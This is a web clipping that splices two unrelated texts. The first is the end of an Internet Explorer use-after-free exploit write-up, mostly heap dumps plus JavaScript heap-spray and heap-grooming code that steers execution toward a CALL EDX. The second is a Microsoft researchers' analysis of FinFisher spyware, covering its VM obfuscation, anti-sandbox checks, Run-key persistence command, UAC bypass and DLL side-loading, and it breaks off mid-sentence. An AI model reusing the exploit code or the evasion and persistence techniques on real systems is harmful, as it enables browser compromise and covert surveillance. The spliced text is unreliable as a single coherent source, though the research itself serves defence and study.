002d62d4 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................  
002d62e4 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................  
002d62f4 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................  
002d6304 0c0c0c0c 00000c0c 00000000 3b93022c ............,..;  
002d6314 80000000 002e00a7 00000000 ffff404a ............J@..  
002d6324 ffffffff 00000051 00000000 00000000 ....Q...........  
002d6334 00000000 00000000 002d6340 00000062 ........@c-.b...  
002d6344 00000000 00000000 00000000 002d6328 ............\(c-.  
002d6354 00000000 00000000 00000000 00000000 ................  
002d6364 00000000 3b930223 88000000 00000046 ....\#..;....F...  
002d6374 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................  
002d6384 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................  
002d6394 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................  
002d63a4 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................  
002d63b4 0c0c0c0c 00000c0c ........

As you can see, the before and after chunk´s content are controllable by us,
filling those objects sized 0x4C with 0x0c0c0c0c. This gives us predictability
where our chunk is allocated \(relative offset\) and the offset value that is
written. But a problem remains, that will render useless our effort into
controlling the first WORD of the pointer.  
  

\(6c0.4cc\): Access violation - code c0000005 \(first chance\)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=7fd6d1eb ebx=0036a530 ecx=003800a7 edx=00000000 esi=0228bd10 edi=00000000  
eip=6987b68f esp=0228bce4 ebp=0228bcfc iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
mshtml\!CElement::Doc+0x2:  
6987b68f 8b5070 mov edx,dword ptr \[eax+70h\] ds:0023:7fd6d25b=????????  

  
dc ebx l1  
0036a530 003800a7  
  
\!heap -x ebx  
Entry User Heap Segment Size PrevSize Unused Flags  
\-------------------------------------------------------  
0036a528 0036a530 002b0000 00347878 58 - 0 LFH;free  
  
dt nt\!\_HEAP\_SUBSEGMENT 00347878  
ntdll\!\_HEAP\_SUBSEGMENT  
+0x000 LocalInfo : 0x002b6f70 \_HEAP\_LOCAL\_SEGMENT\_INFO  
+0x004 UserBlocks : 0x00369f40 \_HEAP\_USERDATA\_HEADER  
+0x008 AggregateExchg : \_INTERLOCK\_SEQ  
+0x010 BlockSize : 0xb  
...  
  
dt nt\!\_HEAP\_BUCKET\_COUNTERS 0x002b6f70+50  
ntdll\!\_HEAP\_BUCKET\_COUNTERS  
+0x000 TotalBlocks : 0x12b  
+0x004 SubSegmentCounts : 7  
+0x000 Aggregate64 : 0n30064771371  
  

TotalBlocks only reports 0x12b blocks, this means that we won’t have any
offset recorded in the first WORD of the pointer beyond this value. Why?
Because it is the sum of all chunks distributed by all 7 sub-segments \(as
indicated by SubSegmentCounts\). Although we could push this value even upper,
that would lead to an increase of heap allocations. So let’s say that the only
thing we can predict from this is that it´s value will always be a multiple of
0xb \(0x58/8\) plus 2. We could also force the chunk to the end of the list of
an heap sub-segment cache, setting the WORD value to 0xffff, but that would
gain us nothing either, more on this later.  
  

dt -a nt\!\_HEAP\_SUBSEGMENT 0x002b6f70+8  
ntdll\!\_HEAP\_SUBSEGMENT  
\[0\] @ 002b6f78  
\---------------------------------------------  
+0x000 LocalInfo : 0x03c3e1c0 \_HEAP\_LOCAL\_SEGMENT\_INFO  
+0x004 UserBlocks : 0x03c3e1a0 \_HEAP\_USERDATA\_HEADER  
...  
\[1\] @ 002b6f98  
\---------------------------------------------  
+0x000 LocalInfo : 0x00347878 \_HEAP\_LOCAL\_SEGMENT\_INFO  
+0x004 UserBlocks : 0x002bdaf0 \_HEAP\_USERDATA\_HEADER  
...  
  

Considering this, from this point on, I’ll diverge in the exploit code from
the original one, because I want to improve the exploit by giving it more
resilience, so keep reading.

  

We know now that the value we're targeting in lies within the heap segment
that manages chunks of size 0xE8 \(where CObjectElement resides\) and we can't
control the last 4 bytes of the address. Or can we?

All that seems left for predictability at this point is to try to fill a heap
sub-segment with strings sized 0xE8, and set the CObjectElement right in the
middle or end of this string sprayed memory area, so that we can profit from
its first WORD address. We need that the last CObjectElement created lands in
a filled sub-segment and not in a new sub-segment, where there won't be any
string content. So, being 0xffff the maximum block amount of a sub-segment, we
can have, per sub-segment, a total of 2259 chunks of 0xe8 size.  
  

?ffff\*8/e8  
Evaluate expression: 2259 = 000008d3  
  

Say we allocate 2259 string objects of size 0xE8, the first WORD of the
CTreeNode freed object will have a value between 0x2 and 0xffff; we might land
our pointer anywhere between the full address range of the segment:  
  

0xXXXX\[0x2-0xffff\]  
  

But, if we force the usage of a caching sub-segment, the address range is
heavily reduced, although we can’t preview what we’ll get as first WORD.
Forcing the cache usage is as simple as allocating a large number of strings
chunks sized 0xE8, and freeing a small number of the lastly allocated strings;
the strings will fill up the cache and will be reused by the time the
CObjectElement is created.

But what happens if, by any chance, we land in a point in time where the
caches are empty? It will allocate the object from an active segment, and
we’re back to the starting point, as can be seen from the following example
trace:  
  

CObjectElement:addr\[028a4f80\]  
CTreeNode:node\[00450080\] Type:028a4f80 CObjectElement::\`vftable'  
eax=00450080 ebx=00457f70 ecx=00450080 edx=00000000 esi=0046f428 edi=028a4f80  
eip=6dbd47b9 esp=021fc5d8 ebp=021fc5f4 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202  
mshtml\!CTreeNode::CTreeNode:  
6dbd47b9 8bff mov edi,edi  
  
dc 00450080  
00450080 00000000 00000000 00000000 00000000 ................  
  
ba w4 00450080  
  
dc 00450080  
00450080 028a4f80 00000000 ffff0000 ffffffff .O..............  
  
\!heap -x 028a4f80  
Entry User Heap Segment Size PrevSize Unused Flags  
\-----------------------------------------------------  
028a4f78 028a4f80 003d0000 00450d68 e8 - 8 LFH;busy  
  
dt nt\!\_heap\_subsegment 00450d68  
  
ntdll\!\_HEAP\_SUBSEGMENT  
+0x000 LocalInfo : 0x003d76c0 \_HEAP\_LOCAL\_SEGMENT\_INFO  
+0x004 UserBlocks : 0x028a2048 \_HEAP\_USERDATA\_HEADER  
+0x008 AggregateExchg : \_INTERLOCK\_SEQ  
+0x010 BlockSize : 0x1d  
+0x012 Flags : 0  
+0x014 BlockCount : 0x46  
+0x016 SizeIndex : 0x1c ''  
+0x017 AffinityIndex : 0 ''  
+0x010 Alignment : \[2\] 0x1d  
+0x018 SFreeListEntry : \_SINGLE\_LIST\_ENTRY  
+0x01c Lock : 7  
  
dt nt\!\_INTERLOCK\_SEQ 00450d68+8  
ntdll\!\_INTERLOCK\_SEQ  
+0x000 Depth : 0x11  
+0x002 FreeEntryOffset : 0x603  
+0x000 OffsetAndDepth : 0x6030011  
+0x004 Sequence : 0xff425ade  
+0x000 Exchg : 0n-53380335944925167  
  
dt nt\!\_HEAP\_LOCAL\_SEGMENT\_INFO 0x003d76c0  
ntdll\!\_HEAP\_LOCAL\_SEGMENT\_INFO  
+0x000 Hint : \(null\)  
+0x004 ActiveSubsegment : 0x00450d68 \_HEAP\_SUBSEGMENT  
+0x008 CachedItems : \[16\] \(null\)  
+0x048 SListHeader : \_SLIST\_HEADER  
+0x050 Counters : \_HEAP\_BUCKET\_COUNTERS  
+0x058 LocalData : 0x003d6b48 \_HEAP\_LOCAL\_DATA  
+0x05c LastOpSequence : 0x87  
+0x060 BucketIndex : 0x1c  
+0x062 LastUsed : 0  
  
  

The allocation of the CObjectElement is being retrieved from the active sub-
segment.

Can we build up on the better of the two worlds? I think we can, freeing
strings will increase our chances of heap cache usage, and as freeing a string
does not alter its content, we’ll allocate a full segment and then free a
portion of it, by de-allocating a couple of even/odd indexed strings from the
array. This will leave the heap in the following state:

<img src='img/Temp2_6043.png' />  

When IE allocates the CObjectElement it will end up in one of these holes,
surrounded by 0x0e0e0e0e strings.

<img src='img/Temp2_6044.png' />  

The code:

  
var size1 = \(0xe0/2\)-3;  
var arrSize1 = 2000;  
var obj\_overwrite2 = unescape\("%u0e0e"\);  
while\(obj\_overwrite2.length < size1\)  
\{ obj\_overwrite2 += obj\_overwrite2; \}  
obj\_overwrite2 = obj\_overwrite2.substr\(0, size1\);  
var arr2 = new Array\(\);  
for\(var counter1 = 0; counter1 < arrSize1; counter1++\)  
\{ arr2\[counter1\] = obj\_overwrite2.substr\(0, size1\); \}  
for\(var counter1 = arrSize1-100; counter1 < arrSize1; counter1+=2\)  
\{  
delete arr2\[counter1\];  
arr2\[counter1\] = null;  
\}  
CollectGarbage\(\);  
document.body.innerHTML += "<object align='right'
width='1000'>TAG\_1</object>";  
...  
  
ModLoad: 6e010000 6e0c2000 C:\Windows\System32\jscript.dll  
\(920.e14\): Access violation - code c0000005 \(first chance\)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=0e0e0e0e ebx=00126d18 ecx=01d40115 edx=00000000 esi=022bbc00 edi=00000000  
eip=6c64b68f esp=022bbbd4 ebp=022bbbec iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
mshtml\!CElement::Doc+0x2:  
6c64b68f 8b5070 mov edx,dword ptr \[eax+70h\] ds:0023:0e0e0e7e=????????  
  
dc ebx  
00126d18 01d40115 00000000 ffff404a ffffffff ........J@......  
  
dc 01d40115  
01d40115 0e0e0e0e 0e0e0e0e 0e0e0e0e 0e0e0e0e ................  
  
\!heap -x 01d40115  
Entry User Heap Segment Size PrevSize Unused Flags  
\----------------------------------------------------  
01d400d8 01d400e0 00070000 0010e408 e8 - 8 LFH;busy  
  
  
  
  
\!heap -flt s e0  
\_HEAP @ 70000  
HEAP\_ENTRY Size Prev Flags UserPtr UserSize - state  
01d400d8 001d 001d \[00\] 01d400e0 000e0 - \(busy\)  
01d401c0 001d 001d \[00\] 01d401c8 000e0 - \(busy\)  
01d402a8 001d 001d \[00\] 01d402b0 000e0 - \(busy\)  
01d40390 001d 001d \[00\] 01d40398 000e0 - \(busy\)  
01d40478 001d 001d \[00\] 01d40480 000e0 - \(busy\)  
01d40560 001d 001d \[00\] 01d40568 000e0 - \(busy\)  
...  
01d48a20 001d 001d \[00\] 01d48a28 000e0 - \(busy\)  
01d48b08 001d 001d \[00\] 01d48b10 000e0 - \(busy\)  
...  
01d4f7c8 001d 001d \[00\] 01d4f7d0 000e0 - \(busy\)  
01d4f8b0 001d 001d \[00\] 01d4f8b8 000e0 - \(free\)  
01d4f998 001d 001d \[00\] 01d4f9a0 000e0 - \(busy\)  
01d4fa80 001d 001d \[00\] 01d4fa88 000e0 - \(free\)  
01d4fb68 001d 001d \[00\] 01d4fb70 000e0 - \(busy\)  
01d4fc50 001d 001d \[00\] 01d4fc58 000e0 - \(free\)  
01d4fd38 001d 001d \[00\] 01d4fd40 000e0 - \(busy\)  
01d4fe20 001d 001d \[00\] 01d4fe28 000e0 - \(free\)  
01d4ff08 001d 001d \[00\] 01d4ff10 000e0 - \(busy\)  
01d4fff0 001d 001d \[00\] 01d4fff8 000e0 - \(free\)  
  
dt ntdll\!\_HEAP\_SUBSEGMENT 0010e408  
+0x000 LocalInfo : 0x000776c0 \_HEAP\_LOCAL\_SEGMENT\_INFO  
+0x004 UserBlocks : 0x01d38a10 \_HEAP\_USERDATA\_HEADER  
+0x008 AggregateExchg : \_INTERLOCK\_SEQ  
+0x010 BlockSize : 0x1d  
+0x012 Flags : 0  
+0x014 BlockCount : 0x8d  
+0x016 SizeIndex : 0x1c ''  
+0x017 AffinityIndex : 0 ''  
+0x010 Alignment : \[2\] 0x1d  
+0x018 SFreeListEntry : \_SINGLE\_LIST\_ENTRY  
+0x01c Lock : 1  
  

As you can see from above, the full address space covered by the base address
0x1d4XXXX is filled with our string content. Although this is no guarantee of
a working exploit, this greatly extends the probability of exploitation
success. So, EAX is now 0x0e0e0e0e, EDX will have \[0x0e0e0e0e+70\].

  

As the next instruction in the execution stream is:**CALL EDX** then you know
where we’re going from here… Stage 2.

  

I hope you have enjoyed.

  

Tudo é possivel, quando o homem quer \(e a mulher permite\).

# FinFisher exposed: A researcher’s tale of defeating traps, tricks, and
complex virtual machines

**Created:**| _3/7/2018 8:25:38 AM_  
---|---  
**Updated:**| _3/7/2018 8:25:38 AM_  
**Author:**| _wishi_  
**Tags:**| _Malware-analysis federal_  
  

  

# FinFisher exposed: A researcher’s tale of defeating traps, tricks, and
complex virtual machines

March 1, 2018

  * __
  *  __
  *  __
  *  __

* * *
<img src='img/?s=150&d=mm&r=g.jpg' width='150' height='150' alt='Office 365
Threat Research's picture' />

Office 365 Threat Research

in Office 365 Advanced Threat Protection, Windows, Windows Defender Advanced
Threat Protection, Endpoint Security, Threat Protection, Research

Office 365 Advanced Threat Protection \(Office 365 ATP\) blocked many notable
zero-day exploits in 2017. In our analysis, one activity group stood out:
NEODYMIUM. This threat actor is remarkable for two reasons:

  * •Its access to sophisticated zero-day exploits for Microsoft and Adobe software
  * •Its use of an advanced piece of government-grade surveillance spyware FinFisher, also known as FinSpy and detected by Microsoft security products as Wingbird

FinFisher is such a complex piece of malware that, like other researchers, we
had to devise special methods to crack it. We needed to do this to understand
the techniques FinFisher uses to compromise and persist on a machine, and to
validate the effectiveness of Office 365 ATP detonation sandbox, Windows
Defender Advanced Threat Protection \(Windows Defender ATP\) generic
detections, and other Microsoft security solutions.

This task proved to be nontrivial. FinFisher is not afraid of using all kinds
of tricks, ranging from junk instructions and “spaghetti code” to multiple
layers of virtual machines and several known and lesser-known anti-debug and
defensive measures. Security analysts are typically equipped with the tools to
defeat a good number of similar tricks during malware investigations. However,
FinFisher is in a different category of malware for the level of its anti-
analysis protection. It’s a complicated puzzle that can be solved by skilled
reverse engineers only with good amount of time, code, automation, and
creativity. The intricate anti-analysis methods reveal how much effort the
FinFisher authors exerted to keep the malware hidden and difficult to analyze.

This exercise revealed tons of information about techniques used by FinFisher
that we used to make Office 365 ATP more resistant to sandbox detection and
Windows Defender ATP to catch similar techniques and generic behaviors. Using
intelligence from our in-depth investigation, Windows Defender ATP can raise
alerts for malicious behavior employed by FinFisher \(such as memory injection
in persistence\) in different stages of the attack kill chain. Machine
learning in Windows Defender ATP further flags suspicious behaviors observed
related to the manipulation of legitimate Windows binaries.

<img src='img/Temp2_3148.jpg' width='1024' height='635' />

_Figure 1. Generic Windows Defender ATP detections trigger alerts on FinFisher
behavior_

While our analysis has allowed us to immediately protect our customers, we’d
like to share our insights and add to the growing number of published analyses
by other talented researchers \(listed below this blog post\). We hope that
this blog post helps other researchers to understand and analyze FinFisher
samples and that this industry-wide information-sharing translate to the
protection of as many customers as possible.

## Spaghetti and junk codes make common analyst tools ineffective

In analyzing FinFisher, the first obfuscation problem that requires a solution
is the removal of junk instructions and “spaghetti code”, which is a technique
that aims to confuse disassembly programs. Spaghetti code makes the program
flow hard to read by adding continuous code jumps, hence the name. An example
of FinFisher’s spaghetti code is shown below.

<img src='img/Temp2_3152.jpg' width='292' height='421' />

_Figure 2. The spaghetti code in FinFisher dropper_

This problem is not novel, and in common situations there are known reversing
plugins that may help for this task. In the case of FinFisher, however, we
could not find a good existing interactive disassembler \(IDA\) plugin that
can normalize the code flow. So we decided to write our own plugin code using
IDA Python. Armed with this code, we removed this first layer of anti-analysis
protection.

Removing the junk instructions revealed a readable block of code. This code
starts by allocating two chunks of memory: a global 1 MB buffer and one 64 KB
buffer per thread. The big first buffer is used as index for multiple
concurrent threads. A big chunk of data is extracted from the portable
executable \(PE\) file itself and decrypted two times using a custom XOR
algorithm. We determined that this chunk of data contains an array of opcode
instructions ready to be interpreted by a custom virtual machine program
\(from this point on referenced generically as “VM”\) implemented by FinFisher
authors.

<img src='img/Temp2_3155.jpg' width='700' height='400' />

_Figure 3. The stages of the FinFisher multi-layered protection mechanisms_

## Stage 0: Dropper with custom virtual machine

The main dropper implements the VM dispatcher loop and can use 32 different
opcodes handlers. Th 64KB buffer is used as a VM descriptor data structure to
store data and the just-in-time \(JIT\) generated code to run. The VM
dispatcher loop routine ends with a JMP to another routine. In total, there
are 32 different routines, each of them implementing a different opcode and
some basic functionality that the malware program may execute.

<img src='img/Temp2_3153.jpg' width='1000' height='442' />

_Figure 4. A snapshot of the code that processes each VM opcode and the
associate interpreter_

The presence of a VM and virtualized instruction blocks can be described in
simpler terms: Essentially, the creators of FinFisher interposed a layer of
dynamic code translation \(the virtual machine\) that makes analysis using
regular tools practically impossible. Static analysis tools like IDA may not
be useful in analyzing custom code that is interpreted and executed through a
VM and a new set of instructions. On the other hand, dynamic analysis tools
\(like debuggers or sandbox\) face the anti-debug and anti-analysis tricks
hidden in the virtualized code itself that detects sandbox environments and
alters the behavior of the malware.

At this stage, the analysis can only continue by manually investigating the
individual code blocks and opcode handlers, which are highly obfuscated \(also
using spaghetti code\). Reusing our deobfuscation tool and some other tricks,
we have been able to reverse and analyze these opcodes and map them to a
finite list that can be used later to automate the analysis process with some
scripting.

The opcode instructions generated by this custom VM are divided into different
categories:

  1. Logical opcodes, which implement bit-logic operators \(OR, AND, NOT, XOR\) and mathematical operators
  2. Conditional branching opcodes, which implement a code branch based on conditions \(equals to JC, JE, JZ, other similar branching opcodes\)
  3. Load/Store opcodes, which write to or read from particular addresses of the virtual address space of the process
  4. Specialized opcodes for various purposes, like execute specialized machine instruction that are not virtualized

We are publishing below the \(hopefully\) complete list of opcodes used by
FinFisher VM that we found during our analysis and integrated into our de-
virtualization script:

**INDEX** | **MNEMONIC** | **DESCRIPTION**  
---|---|---  
0x0 | EXEC | Execute machine code  
0x1 | JG | Jump if greater/Jump if not less or equal  
0x2 | WRITE | Write a value into the dereferenced internal VM value \(treated as a pointer\)  
0x3 | JNO | Jump if not overflow  
0x4 | JLE | Jump if less or equal \(signed\)  
0x5 | MOV | Move the value of a register into the VM descriptor \(same as opcode 0x1F\)  
0x6 | JO | Jump if overflow  
0x7 | PUSH | Push the internal VM value to the stack  
0x8 | ZERO | Reset the internal VM value to 0 \(zero\)  
0x9 | JP | Jump if parity even  
0xA | WRITE | Write into an address  
0xB | ADD | Add the value of a register to the internal VM value  
0xC | JNS | Jump if not signed  
0xD | JL | Jump if less \(signed\)  
0xE | EXEC | Execute machine code and branch  
0xF | JBE | Jump if below or equal or Jump if not above  
0x10 | SHL | Shift left the internal value the number of times specified into the opcodes  
0x11 | JA | Jump if above/Jump if not below or equal  
0x12 | MOV | Move the internal VM value into a register  
0x13 | JZ | JMP if zero  
0x14 | ADD | Add an immediate value to the internal Vm descriptor  
0x15 | JB | Jump if below \(unsigned\)  
0x16 | JS | Jump if signed  
0x17 | EXEC | Execute machine code \(same as opcode _0x0_\)  
0x18 | JGE | Jump if greater or equal/Jump if not less  
0x19 | DEREF | Write a register value into a dereferenced pointer  
0x1A | JMP | Special obfuscated “Jump if below” opcode  
0x1B | \* | Resolve a pointer  
0x1C | LOAD | Load a value into the internal VM descriptor  
0x1D | JNE | Jump if not equal/Jump if not zero  
0x1E | CALL | Call an external function or a function located in the dropper  
0x1F | MOV | Move the value of a register into the VM descriptor  
0x20 | JNB | Jump if not below/Jump if above or equal/Jump if not carry  
0x21 | JNP | Jump if not parity/Jump if parity odd  
Each virtual instruction is stored in a special data structure that contains
all the information needed to be properly read and executed by the VM. This
data structure is 24 bytes and is composed of some fixed fields and a variable
portion that depends on the opcode. Before interpreting the opcode, the VM
decrypts the opcode’s content \(through a simple XOR algorithm\), which it
then relocates \(if needed\), using the relocation fields.

Here is an approximate diagram of the opcode data structure:

<img src='img/Temp2_3159.jpg' width='852' height='208' />

_Figure 5. A graphical representation of the data structure used to store each
VM opcode_

The VM handler is completely able to generate different code blocks and deal
with relocated code due to address space layout randomization \(ASLR\). It is
also able to move code execution into different locations if needed. For
instance, in the case of the “Execute” opcode \(_0x17_\), the 32-bit code to
run is stored entirely into the variable section with the value at offset 5
specifying the number of bytes to be copied and executed. Otherwise, in the
case of conditional opcodes, the variable part can contain the next JIT packet
ID or the next relative virtual address \(RVA\) where code execution should
continue.

Of course, not all the opcodes are can be easily read and understood due to
additional steps that the authors have taken to make analysis extremely
complicated. For example, this is how opcode _0x1A_ is implemented: The opcode
should represent a JB \(Jump if below\) function, but it’s implemented through
set carry \(STC\) instruction followed by a JMP into the dispatcher code that
will verify the carry flag condition set by STC.

<img src='img/Temp2_3146.jpg' width='1024' height='287' />

_Figure 6. One of the obfuscation tricks included by the malware authors in a
VM opcode dispatcher_

Even armed with the knowledge we have described so far, it still took us many
hours to write a full-fledged opcode interpreter that’s able to reconstruct
the real code executed by FinFisher.

## Stage 1: Loader malware keeps sandbox and debuggers away

The first stage of FinFisher running through this complicated virtual machine
is a loader malware designed to probe the system and determine whether it’s
running in a sandbox environment \(typical for cloud-based detonation solution
like Office 365 ATP\).

The loader first dynamically rebuilds a simple import address table \(IAT\),
resolving all the API needed from Kernel32 and NtDll libraries. It then
continues executing in a spawned new thread that checks if there are
additional undesired modules inside its own virtual address space \(for
example, modules injected by certain security solutions\). It eventually kills
all threads that belong to these undesired modules \(using
_ZwQueryInformationThread_ native API with _ThreadQuerySetWin32StartAddress_
information class\).

The first anti-sandbox technique is the loader checking the code segment. If
it’s not _0x1B_ \(for 32-bit systems\) or _0x23_ \(for 32-bit system under
Wow64\), the loader exits.

Next, the dropper checks its own parent process for indications that it is
running in a sandbox setup. It calculates the MD5 hash of the lower-case
process image name and terminates if one of the following conditions are met:

  1. The MD5 hash of the parent process image name is either D0C4DBFA1F3962AED583F6FCE666F8BC or 3CE30F5FED4C67053379518EACFCF879
  2. The parent process’s full image path is equal to its own process path

If these initial checks are passed, the loader builds a complete IAT by
reading four imported libraries from disk \(_ntdll.dll_ , _kernel32.dll_ ,
_advapi32.dll_ , and _version.dll_\) and remapping them in memory. This
technique makes use of debuggers and software breakpoints useless. During this
stage, the loader may also call a certain API using native system calls, which
is another way to bypass breakpoints on API and security solutions using
hooks.

<img src='img/Temp2_3150.jpg' width='667' height='339' />

_Figure 7. FinFisher loader calling native Windows API to perform anti-
debugging tricks_

At this point, the fun in analysis is not over. A lot of additional anti-
sandbox checks are performed in this exact order:

  1. Check that the malware is not executed under the root folder of a drive
  2. Check that the malware file is readable from an external source
  3. Check that the hash of base path is not 3D6D62AF1A7C8053DBC8E110A530C679
  4. Check that the full malware path contains only human readable characters \(“a-z”, “A-Z”, and “0-9”\)
  5. Check that no node in the full path contains the MD5 string of the malware file
  6. Fingerprint the system and check the following registry values: 
    1. _HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid_ should not be “6ba1d002-21ed-4dbe-afb5-08cf8b81ca32”
    2. _HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DigitalProductId_ should not be “55274-649-6478953-23109”, “A22-00001”, or “47220”
    3. _HARDWARE\Description\System\SystemBiosDate_ should not contain “01/02/03”
  7. Check that the mutex _WininetStartupMutex0_ does not already exist
  8. Check that no DLL whose base name has hash value of 0xC9CEF3E4 is mapped into the malware address space

The hashes in these checks are most likely correspond to sandbox or security
products that the FinFisher authors want to avoid.

Next, the loader checks that it’s not running in a virtualized environment
\(VMWare or Hyper-V\) or under a debugger. For the hardware virtualization
check, the loader obtains the hardware device list and checks if the MD5 of
the vendor ID is equal to a predefined list. In our tests, the malware sample
was able to easily detect both VMWare and Hyper-V environments through the
detection of the virtualized peripherals \(for example, Vmware has VEN\_15AD
as vendor ID, HyperV has VMBus as bus name\). Office 365 ATP sandbox employs
special mechanisms to avoid being detected by similar checks.

The loader’s anti-debugger code is based on the following three methods:

  1. The first call aims to destroy the debugger connection:

<img src='img/Temp2_3156.jpg' width='850' height='20' />

NOTE: This call completely stops the execution of WinDbg and other debuggers

  2. The second call tries to detect the presence of a debugger:

<img src='img/Temp2_3157.jpg' width='850' height='37' />

  3. The final call tries to destroy the possibility of adding software breakpoint:

<img src='img/Temp2_3147.jpg' width='850' height='37' />

Finally, if the loader is happy with all the checks done so far, based on the
victim operating system \(32 or 64-bit\) it proceeds to decrypt a set of fake
bitmap resources \(stage 2\) embedded in the executable and prepares the
execution of a new layer of VM decoding.

Each bitmap resource is extracted, stripped of the first 0x428 bytes \(BMP
headers and garbage data\), and combined into one file. The block is decrypted
using a customized algorithm that uses a key derived from the original malware
dropper’s _TimeDateStamp_ field multiplied by 5.

<img src='img/Temp2_3158.jpg' width='689' height='329' />

_Figure 8. The fake bitmap image embedded as resource_

The 32-bit stage 2 malware uses a customized loading mechanism \(i.e., the PE
file has a scrambled IAT and relocation table\) and exports only one function.
For the 64-bit stage 2 malware, the code execution is transferred from the
loader using a well-known technique called Heaven’s Gate. In the next
sections, for simplicity, we will continue the analysis only on the 64-bit
payload.

<img src='img/Temp2_3151.jpg' width='401' height='165' />

_Figure 9. Heaven’s gate is still in use in 2017_

## Stage 2: A second multi-platform virtual machine

The 64-bit stage 2 malware implements another loader combined with another
virtual machine. The architecture is quite similar to the one described
previously, but the opcodes are slightly different. After reversing these
opcodes, we were able to update our interpreter script to support both 32-bit
and 64-bit virtual machines used by FinFisher.

**INDEX** | **MNEMONIC** | **DESCRIPTION**  
---|---|---  
0x0 | JMP | Special obfuscated conditional Jump \(always taken or always ignored\)  
0x1 | JMP | Jump to a function \(same as opcode 0x10\)  
0x2 | CALL | Call to the function pointed by the internal VM value  
0x3 | CALL | Optimized CALL function \(like the 0x1E opcode of the 32-bit VM\)  
0x4 | EXEC | Execute code and move to the next packet  
0x5 | JMP | Jump to an internal function  
0x6 | NOP | No operation, move to the next packet  
0x7 | CALL | Call an imported API \(whose address is stored in the internal VM value\)  
0x8 | LOAD | Load a value into the VM descriptor structure **\***  
0x9 | STORE | Store the internal VM value inside a register  
0xA | WRITE | Resolve a pointer and store the value of a register in its content  
0xB | READ | Move the value pointed by the VM internal value into a register  
0xC | LOAD | Load a value into the VM descriptor structure \(not optimized\)  
0xD | CMP | Compare the value pointed by the internal VM descriptor with a register  
0xE | CMP | Compare the value pointed by the internal VM descriptor with an immediate value  
0xF | XCHG | Exchange the value pointed by the internal VM descriptor with a register  
0x10 | SHL | Jump to a function \(same as opcode 0x1\)  
This additional virtual machine performs the same duties as the one already
described but in a 64-bit environment. It extracts and decrypts the stage 3
malware, which is stored in encrypted resources such as fake dialog boxes. The
extraction method is the same, but the encryption algorithm \(also XOR\) is
much simpler. The new payload is decrypted, remapped, and executed in memory,
and represents the installation and persistence stage of the malware.

## Stage 3: Installer that takes DLL side-loading to a new level

Stage 3 represents the setup program for FinFisher. It is the first plain
stage that does not employ a VM or obfuscation. The code supports two
different installation methods: setup in a UAC-enforced environment \(with
limited privileges\), or an installation with full-administrative privileges
enabled \(in cases where the malware gains the ability to run with elevated
permissions\). We were a bit disappointed that we did not see traces of a true
privilege escalation exploit after all this deobfuscation work, but it seems
these FinFisher samples were designed to work just using UAC bypasses.

The setup code receives an installation command from the previous stage. In
our test, this command was the value _3_. The malware creates a global event
named _0x0A7F1FFAB12BB2_ and drops some files under a folder located in
_C:\ProgramData_ or in the user application data folder. The name of the
folder and the malware configuration are read from a customized configuration
file stored in the resource section of the setup program.

Here the list of the files potentially dropped during the installation stage:

**FILE NAME** | **STAGE** | **DESCRIPTION**  
---|---|---  
d3d9.dll | Stage 4 | Malware loader used for UAC environments with limited privileges; also protected by VM obfuscation  
aepic.dll, sspisrv.dll, userenv.dll | Stage 4 | Malware loader used in presence of administrative privileges; executed from \(and injected into\) a fake service; also protected by VM obfuscation  
msvcr90.dll | Stage 5 | Malware payload injected into the _explorer.exe_ or _winlogon.exe_ process; also protected by VM obfuscation  
<randomName>.cab | Config | Main configuration file; encrypted  
setup.cab | Unknown | Last section of the setup executable; content still unknown  
<randomName>.7z | Plugin | Malware plugin used to spy the victim network communications  
wsecedit.rar | Stage 6 | Main malware executable  
After writing some of these files, the malware decides which kind of
installation to perform based on the current privilege provided by the hosting
process \(for example, if a Microsoft Office process was used as exploit
vector\):

  1. **Installation process under UAC**

When running under a limited UAC account, the installer extracts d3d9.dll and
creates a persistence key under _HKCU\Software\Microsoft\Windows\Run_. The
malware sets a registry value \(whose name is read from the configuration
file\) to _“C:\Windows\system32\rundll32.exe c:\ProgramData\AuditApp\d3d9.dll,
Control\_Run”_. Before doing this, the malware makes a screenshot of the
screen and displays it on top of all other windows for few seconds. This
indicates that the authors are trying to hide some messages showed by the
system during the setup process.

When loaded with startup command _2_ , the installer can copy the original
_explorer.exe_ file inside its current running directory and rename _d3d9.dll_
to _uxtheme.dll_. In this case the persistence is achieved by loading the
original explorer.exe from its startup location and, using DLL side-loading,
passing the execution control to the stage 4 malware \(discussed in next
section\).

Finally, the malware spawns a thread that has the goal to load, remap, and
relocate the stage 5 malware. In this context, there is indeed no need to
execute the stage 4 malware. The _msvcr90.dll_ file is opened, read, and
decrypted, and the code execution control is transferred to the _RunDll_
exported routine.

In the case of 32-bit systems, the malware may attempt a known UAC bypass by
launching _printui.exe_ system process and using token manipulation with
_NtFilterToken_ as described in this blog post.

  2. **Installation process with administrative privilege**

This installation method is more interesting because it reveals how the
malware tries to achieve stealthier persistence on the machine. The method is
a well-known trick used by penetration testers that was automated and
generalized by FinFisher

The procedure starts by enumerating the _KnownDlls_ object directory and then
scanning for section objects of the cached system DLLs. Next, the malware
enumerates all .exe programs in the _%System%_ folder and looks for an
original signed Windows binary that imports from at least one _KnownDll_ and
from a library that is not in the _KnownDll_ directory. When a suitable .exe
file candidate is found, it is copied into the malware installation folder
\(for example, _C:\ProgramData_\). At this point the malware extracts and
decrypts a stub DLL from its own resources \(ID 101\). It then calls a routine
that adds a code section to a target module. This section will contain a fake
export table mimicking the same export table of the original system DLL
chosen. At the time of writing, the dropper supports _aepic.dll_ ,
